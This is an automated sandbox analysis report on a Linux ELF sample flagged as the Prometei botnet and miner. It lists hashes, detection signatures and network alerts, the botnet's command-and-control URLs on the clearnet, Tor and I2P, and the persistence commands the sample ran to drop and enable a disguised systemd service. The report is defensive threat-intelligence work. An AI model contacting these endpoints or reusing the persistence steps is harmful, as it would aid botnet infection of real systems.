Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1592078
MD5: 7962bcfc0d112bcf141e5619429a0c31
SHA1: ad21c2d4f44ec16988bb0e3fa69624dcbee99555
SHA256: 52b188e1381776311af782ef149ada872790b9cfcb726301508918b647a0485e
Tags: elfuser-abuse_ch
Infos:

Detection

Prometei
Score: 84
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Prometei
Drops files in suspicious directories
Found Tor onion address
Sample deletes itself
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "pgrep" command search for and/or send signals to processes
Executes the "systemctl" command used for controlling the systemd system and service manager
HTTP GET or POST without a user agent
Reads CPU information from /sys indicative of miner or evasive malware
Reads system information from the proc file system
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Suricata IDS alerts with low severity for network traffic
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Yara signature match

Classification

AV Detection

barindex
Source: na.elf ReversingLabs: Detection: 31%

Bitcoin Miner

barindex
Source: Yara match File source: na.elf, type: SAMPLE
Source: Yara match File source: 6212.1.00007f2eb0400000.00007f2eb04d2000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6212.1.00007f2eb04e7000.00007f2eb126a000.rw-.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: na.elf PID: 6212, type: MEMORYSTR
Source: Yara match File source: /usr/sbin/uplugplay, type: DROPPED
Source: /usr/bin/pgrep (PID: 6222) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6238) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6292) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior

Networking

barindex
Source: Network traffic Suricata IDS: 2044561 - Severity 1 - ET MALWARE Prometei Botnet CnC Domain (feefreepool .net) in DNS Lookup : 192.168.2.23:45608 -> 8.8.8.8:53
Source: Network traffic Suricata IDS: 2044561 - Severity 1 - ET MALWARE Prometei Botnet CnC Domain (feefreepool .net) in DNS Lookup : 192.168.2.23:35103 -> 8.8.8.8:53
Source: Network traffic Suricata IDS: 2044562 - Severity 1 - ET MALWARE Prometei Botnet CnC Checkin : 192.168.2.23:56830 -> 88.198.246.242:80
Source: na.elf, 6212.1.00007f2eb0400000.00007f2eb04d2000.r-x.sdmp String found in binary or memory: nslookup 8.8.8.8Non-authoritative answer:ddress: https://http:///:.onion.i2p.zeroGET %s HTTP/1.0
Source: na.elf, 6212.1.00007f2eb04e7000.00007f2eb126a000.rw-.sdmp String found in binary or memory: nslookup 8.8.8.8Non-authoritative answer:ddress: https://http:///:.onion.i2p.zeroGET %s HTTP/1.0
Source: na.elf, 6212.1.00007f2eb04e7000.00007f2eb126a000.rw-.sdmp String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, 6212.1.00007f2eb04e7000.00007f2eb126a000.rw-.sdmp String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
Source: na.elf, 6212.1.00007f2eb04e2000.00007f2eb04e7000.rw-.sdmp String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, 6212.1.00007f2eb04e2000.00007f2eb04e7000.rw-.sdmp String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
Source: na.elf String found in binary or memory: nslookup 8.8.8.8Non-authoritative answer:ddress: https://http:///:.onion.i2p.zeroGET %s HTTP/1.0
Source: na.elf String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
Source: uplugplay.12.dr String found in binary or memory: nslookup 8.8.8.8Non-authoritative answer:ddress: https://http:///:.onion.i2p.zeroGET %s HTTP/1.0
Source: uplugplay.12.dr String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: uplugplay.12.dr String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
Source: global traffic HTTP traffic detected: GET /cgi-bin/prometei.cgi?r=19&i=9B0TZ7X9PC11Z8DX HTTP/1.0Host: p3.feefreepool.net
Source: /usr/sbin/uplugplay (PID: 6292) Socket: 0.0.0.0:88 Jump to behavior
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:56830 -> 88.198.246.242:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: global traffic HTTP traffic detected: GET /cgi-bin/prometei.cgi?r=19&i=9B0TZ7X9PC11Z8DX HTTP/1.0Host: p3.feefreepool.net
Source: global traffic DNS traffic detected: DNS query: p3.feefreepool.net
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://%s/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://%s/cgi-bin/prometei.cgi?r=0&auth=hash&i=%s&enckey=%s
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://%s/cgi-bin/prometei.cgi?r=0&auth=hash&i=%s&enckey=%shttp://%s/cgi-bin/prometei.cgi%m%d%yxinch
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rg
Source: na.elf, uplugplay.12.dr String found in binary or memory: https://bugs.launchpad.net/ubuntu/
Source: na.elf, uplugplay.12.dr String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: https://http:///:.onion.i2p.zeroGET
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: na.elf, type: SAMPLE Matched rule: Detects APT38-Lazarus Linux DACLS Author: Emanuele De Lucia
Source: 6212.1.00007f2eb0400000.00007f2eb04d2000.r-x.sdmp, type: MEMORY Matched rule: Detects APT38-Lazarus Linux DACLS Author: Emanuele De Lucia
Source: /usr/sbin/uplugplay, type: DROPPED Matched rule: Detects APT38-Lazarus Linux DACLS Author: Emanuele De Lucia
Source: Initial sample Potential command found: GET %s HTTP/1.0
Source: Initial sample Potential command found: cat /proc/cpuinfo
Source: Initial sample Potential command found: cat /etc/os-release
Source: Initial sample Potential command found: cat /etc/redhat-release
Source: Initial sample Potential command found: GET /
Source: ELF static info symbol of initial sample .symtab present: no
Source: na.elf, type: SAMPLE Matched rule: APT38_LDACLS_78736_45 author = Emanuele De Lucia, description = Detects APT38-Lazarus Linux DACLS, reference = https://blog.netlab.360.com/dacls-the-dual-platform-rat/, hash = ba5b781ebacac07c4b14f9430a23ca0442e294236bd8dd14d1f69c6661551db8
Source: 6212.1.00007f2eb0400000.00007f2eb04d2000.r-x.sdmp, type: MEMORY Matched rule: APT38_LDACLS_78736_45 author = Emanuele De Lucia, description = Detects APT38-Lazarus Linux DACLS, reference = https://blog.netlab.360.com/dacls-the-dual-platform-rat/, hash = ba5b781ebacac07c4b14f9430a23ca0442e294236bd8dd14d1f69c6661551db8
Source: /usr/sbin/uplugplay, type: DROPPED Matched rule: APT38_LDACLS_78736_45 author = Emanuele De Lucia, description = Detects APT38-Lazarus Linux DACLS, reference = https://blog.netlab.360.com/dacls-the-dual-platform-rat/, hash = ba5b781ebacac07c4b14f9430a23ca0442e294236bd8dd14d1f69c6661551db8
Source: classification engine Classification label: mal84.troj.evad.linELF@0/8@2/0
Source: /usr/bin/pidof (PID: 6230) Directory: //. Jump to behavior
Source: /usr/bin/pidof (PID: 6253) Directory: //. Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1582/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1582/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/3088/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/3088/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/230/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/230/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/110/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/110/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/231/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/231/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/111/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/111/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/232/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/232/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1579/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1579/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/112/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/112/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/233/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/233/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1699/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1699/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/113/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/113/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/234/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/234/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1335/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1335/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1698/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1698/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/114/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/114/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/235/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/235/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1334/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1334/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1576/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1576/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2302/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2302/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/115/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/115/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/236/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/236/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/116/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/116/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/237/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/237/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/117/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/117/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/118/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/118/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/910/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/910/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/119/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/119/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/912/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/912/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/10/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/10/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2307/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2307/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/11/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/11/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/918/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/918/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/12/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/12/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/13/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/13/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/6243/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/6243/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/14/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/14/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/15/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/15/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/6245/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/6245/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/16/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/16/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/17/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/17/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/18/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/18/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1594/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1594/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/120/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/120/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/121/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/121/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1349/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1349/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/1/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/122/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/122/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/243/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/243/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/123/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/123/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/2/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/124/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/124/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/3/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/na.elf (PID: 6216) Shell command executed: sh -c "pgrep na.elf" Jump to behavior
Source: /tmp/na.elf (PID: 6225) Shell command executed: sh -c "pidof na.elf" Jump to behavior
Source: /tmp/na.elf (PID: 6233) Shell command executed: sh -c "pgrep uplugplay" Jump to behavior
Source: /tmp/na.elf (PID: 6243) Shell command executed: sh -c "pgrep upnpsetup" Jump to behavior
Source: /tmp/na.elf (PID: 6248) Shell command executed: sh -c "pidof upnpsetup" Jump to behavior
Source: /tmp/na.elf (PID: 6256) Shell command executed: sh -c "systemctl daemon-reload" Jump to behavior
Source: /tmp/na.elf (PID: 6272) Shell command executed: sh -c "systemctl enable uplugplay.service" Jump to behavior
Source: /tmp/na.elf (PID: 6279) Shell command executed: sh -c "systemctl start uplugplay.service" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6290) Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6362) Shell command executed: sh -c "nslookup p3.feefreepool.net 8.8.8.8" Jump to behavior
Source: /bin/sh (PID: 6222) Pgrep executable: /usr/bin/pgrep -> pgrep na.elf Jump to behavior
Source: /bin/sh (PID: 6238) Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay Jump to behavior
Source: /bin/sh (PID: 6245) Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup Jump to behavior
Source: /bin/sh (PID: 6258) Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload Jump to behavior
Source: /bin/sh (PID: 6274) Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service Jump to behavior
Source: /bin/sh (PID: 6281) Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6292) Reads from proc file: /proc/stat Jump to behavior
Source: /tmp/na.elf (PID: 6212) File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r) Jump to behavior
Source: /tmp/na.elf (PID: 6212) File written: /usr/sbin/uplugplay Jump to dropped file
Source: submitted sample Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/na.elf (PID: 6212) File: /usr/sbin/uplugplay Jump to dropped file
Source: /tmp/na.elf (PID: 6212) File: /tmp/na.elf Jump to behavior
Source: /usr/bin/pgrep (PID: 6222) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6238) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6245) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6292) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /tmp/na.elf (PID: 6212) Queries kernel information via 'uname': Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6282) Queries kernel information via 'uname': Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6292) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 6212.1.000055e1e3aea000.000055e1e3c0a000.rw-.sdmp, systemd, 6282.1.000055f2afb34000.000055f2afbdc000.rw-.sdmp, uplugplay, 6282.1.000055f2afb34000.000055f2afbdc000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: na.elf, 6212.1.000055e1e3aea000.000055e1e3c0a000.rw-.sdmp, systemd, 6282.1.000055f2afb34000.000055f2afbdc000.rw-.sdmp, uplugplay, 6282.1.000055f2afb34000.000055f2afbdc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: na.elf, 6212.1.00007ffcb9db9000.00007ffcb9dda000.rw-.sdmp Binary or memory string: 1x86_64/usr/bin/qemu-mips/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: systemd, 6282.1.00007ffee1ae4000.00007ffee1b05000.rw-.sdmp, uplugplay, 6282.1.00007ffee1ae4000.00007ffee1b05000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/usr/sbin/uplugplayLANG=en_US.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binINVOCATION_ID=4359486a22484f8a99bcd12ab7ebe161JOURNAL_STREAM=9:75012/usr/sbin/uplugplay
Source: na.elf, 6212.1.00007ffcb9db9000.00007ffcb9dda000.rw-.sdmp, systemd, 6282.1.00007ffee1ae4000.00007ffee1b05000.rw-.sdmp, uplugplay, 6282.1.00007ffee1ae4000.00007ffee1b05000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs